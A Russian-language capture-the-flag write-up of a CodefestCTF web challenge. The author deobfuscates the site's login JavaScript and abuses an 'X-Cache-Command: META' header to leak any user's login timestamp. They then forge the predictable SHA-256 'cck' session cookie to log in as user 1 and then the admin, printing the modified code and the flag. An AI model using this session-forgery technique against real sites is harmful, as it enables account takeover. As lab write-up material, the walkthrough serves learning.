При открытии веб-страницы нам была представлена функция входа / регистрации.
Сначала я добавил в поля ввода данные для SQLi, XSS и т. Д. Но, похоже, ничего не работало, так что это не должно было быть чем-то простым!
Я посмотрел на исходный код, и что-то подозрительное привлекло мое внимание: пользовательская "библиотека" JS /static/runner/challenge.js
.
Источник был уменьшен и затемнен; Поэтому я использовал этот веб-сайт для деобфускации и уточнения кода:
'use strict'; $(document)["ready"](() => { /** * @param {!Object} spec * @return {?} */ function factory(spec) { var shaObj = new jsSHA("SHA-256", "TEXT"); var existing = spec["id"] + " 000 114328 000 " + spec["time"]; shaObj["update"](existing); var KongPluginsService = shaObj["getHash"]("HEX"); return KongPluginsService; } /** * @param {!Object} config * @return {undefined} */ function setup(config) { var val = Cookies["get"]("time"); var index = Cookies["get"]("id"); if (index == undefined || val == undefined) { config["failure"](); } else { if (index != $("#login-username")["val"]()) { config["failure"](); } else { $["ajax"]({ "url" : "api/login/", "type" : "POST", "headers" : { "X-Cache-Command" : "META", "X-Cache-User" : index }, "success" : (data) => { /** @type {!Date} */ var item = new Date; if (data["time"] != val) { config["failure"](); } else { if (!changeColumnSpec(val, item)) { config["failure"](); } else { config["success"](); } } } }); } } } /** * @param {?} group * @param {!Date} item * @return {?} */ function changeColumnSpec(group, item) { return !![]; } /** * @return {undefined} */ function setUpUserAutosuggest() { setup({ "success" : login, "failure" : doLogin }); } /** * @return {undefined} */ function login() { var salesTeam = Cookies["get"]("id"); var _0x24e669 = Cookies["get"]("cck"); $["ajax"]({ "url" : "api/login/", "type" : "POST", "headers" : { "X-Cache-Command" : "PULL", "X-Cache-User" : salesTeam, "X-Cache-Key" : _0x24e669 }, "success" : (i) => { fn(i); }, "error" : () => { alert("Unexpected Error!"); Cookies["remove"]("id"); Cookies["remove"]("cck"); Cookies["remove"]("time"); } }); } /** * @return {undefined} */ function doLogin() { $["ajax"]({ "url" : "api/login/", "type" : "POST", "contentType" : "application/json; charset=utf-8", "processData" : ![], "data" : JSON["stringify"]({ "password" : $("#login-password")["val"](), "username" : $("#login-username")["val"]() }), "success" : (value) => { fn(value); _build(value); }, "error" : (msg) => { if (msg["status"] == 401) { alert("Auth Failed!"); } console["log"](msg); } }); } /** * @param {!Object} value * @return {undefined} */ function _build(value) { Cookies["set"]("id", value["id"]); Cookies["set"]("time", value["time"]); Cookies["set"]("cck", factory(value)); } /** * @param {!Object} p * @return {undefined} */ function fn(p) { $(".page.login")["addClass"]("hidden"); $(".page.logged-in")["removeClass"]("hidden"); $("#login-message")["text"](p["data"]); } $("#go-to-login")["click"](() => { $(".page.reg-success")["addClass"]("hidden"); $(".page.login")["removeClass"]("hidden"); }); $("#logout")["click"](() => { $(".page.logged-in")["addClass"]("hidden"); $(".page.login")["removeClass"]("hidden"); }); $("#register")["click"](() => { $(".page.login")["addClass"]("hidden"); $(".page.register")["removeClass"]("hidden"); }); $("#login-re")["click"](() => { $(".page.register")["addClass"]("hidden"); $(".page.login")["removeClass"]("hidden"); }); $("#registration-form")["submit"]((result) => { result["preventDefault"](); if ($("#reg-password")["val"]() != $("#reg-again")["val"]()) { alert("Passswords Don't Match!"); $("#reg-again")["val"](""); return; } $["ajax"]({ "url" : "api/register/", "type" : "POST", "contentType" : "application/json; charset=utf-8", "processData" : ![], "data" : JSON["stringify"]({ "password" : $("#reg-password")["val"]() }), "success" : (message) => { console["log"](message); $(".page.register")["addClass"]("hidden"); $(".page.reg-success")["removeClass"]("hidden"); $("#reg-message")["text"](message["id"]); }, "error" : (message) => { console["log"](message); } }); }); $("#login-form")["submit"]((result) => { result["preventDefault"](); setUpUserAutosuggest(); }); });
На первый взгляд это выглядело как модуль, отвечающий за обработку сервисов аутентификации! И при дальнейшем чтении я обнаружил, что это то, на чем мне нужно сосредоточиться!
Некоторое время анализируя функции, я пришел к выводу, что функциональность входа в приложение основана на комбинации имени пользователя и пароля; или комбинация файлов cookie: cck
и id
. Маршрут с использованием имени пользователя и пароля не кажется жизнеспособным (поскольку для этого потребуется грубая сила; и обычно администраторы избегают этого, поскольку это отрицательно скажется на их системах, на которых размещены эти службы). Итак, я начал изучать печенье.
Функция _build()
, похоже, отвечала за установку файлов cookie при входе в систему. Файл cookie id
находился под нашим контролем, но оставшиеся файлы cookie time
и cck
зависели от сеансов вошедших в систему пользователей. Итак, все, что мне нужно было сделать, это получить временную метку входа для любого пользователя (представленного с использованием идентификаторов). И функция setup()
делает именно это!
function setup(config) { var val = Cookies["get"]("time"); var index = Cookies["get"]("id"); if (index == undefined || val == undefined) { config["failure"](); } else { if (index != $("#login-username")["val"]()) { config["failure"](); } else { $["ajax"]({ "url" : "api/login/", "type" : "POST", "headers" : { "X-Cache-Command" : "META", "X-Cache-User" : index }, "success" : (data) => { /** @type {!Date} */ var item = new Date; if (data["time"] != val) { config["failure"](); } else { if (!changeColumnSpec(val, item)) { config["failure"](); } else { config["success"](); } } } }); } } }
Эта функция в основном возвращает метку времени входа любого пользователя для проверки предоставленной метки времени в логине на основе файлов cookie. Итак, если мы просто удалим проверку и запустим функцию для любого идентификатора пользователя, мы сможем получить время входа в систему любого пользователя?
Я обновил функцию setup()
, чтобы сделать именно это:
function setup(id) { $["ajax"]({ "url" : "api/login/", "type" : "POST", "headers" : { "X-Cache-Command" : "META", "X-Cache-User" : id }, "success" : (data) => { console.log(data["time"]); } }); }
И теперь мне просто нужно было запустить эту функцию с любым идентификатором, который я хочу! А какой лучше ID для начала, чем 1
?
Угадай, что? Я получил метку времени пользователя с ID 1!
Теперь, когда у меня были id
и time
; Мне просто нужен cck
. Возвращаясь к функции _build()
, мы видим, что хэш cck
генерируется функцией factory()
. Логика довольно проста (и бессмысленна (:):
var existing = spec[“id”] + “ 000 114328 000 “ + spec[“time”];
Теперь сгенерируем хеш для пользователя с ID 1:
Я просто вызвал функцию factory()
с полученными параметрами: factory({'id':'1', 'time':'2019–08–23 10:17:10.771772+00:00'})
Теперь, когда у нас есть все 3 обязательных параметра, пришло время установить файлы cookie и увидеть результат своими глазами! Для этого я использовал функцию _build()
:
_build({'id':'1', 'time':'2019–08–23 10:17:10.771772+00:00'}
)
Теперь, когда у нас все настроено; Я заполнил форму входа в систему, указав имя пользователя 1, за которым следует случайный пароль; при отправке формы я вошел в систему!
Но флага здесь не было :( Потратив некоторое время на результат, я предположил, что оставшаяся часть задачи будет включать в себя угадывание, поэтому я решил отойти от этого (в основном потому, что я был слишком ленив xD).
После разговора с организатором после завершения CTF мне сказали, что администратором был пользователь с ID 6. Ух!
Чтобы немного закончить, я повторил тот же процесс, но на этот раз с идентификатором пользователя 6, и мне вручили флаг!
Флаг: CodefestCTF{1AmTeHHHAX00Rr4uj8rfi4e$%y5yhrf}
P.S. Не поленитесь xD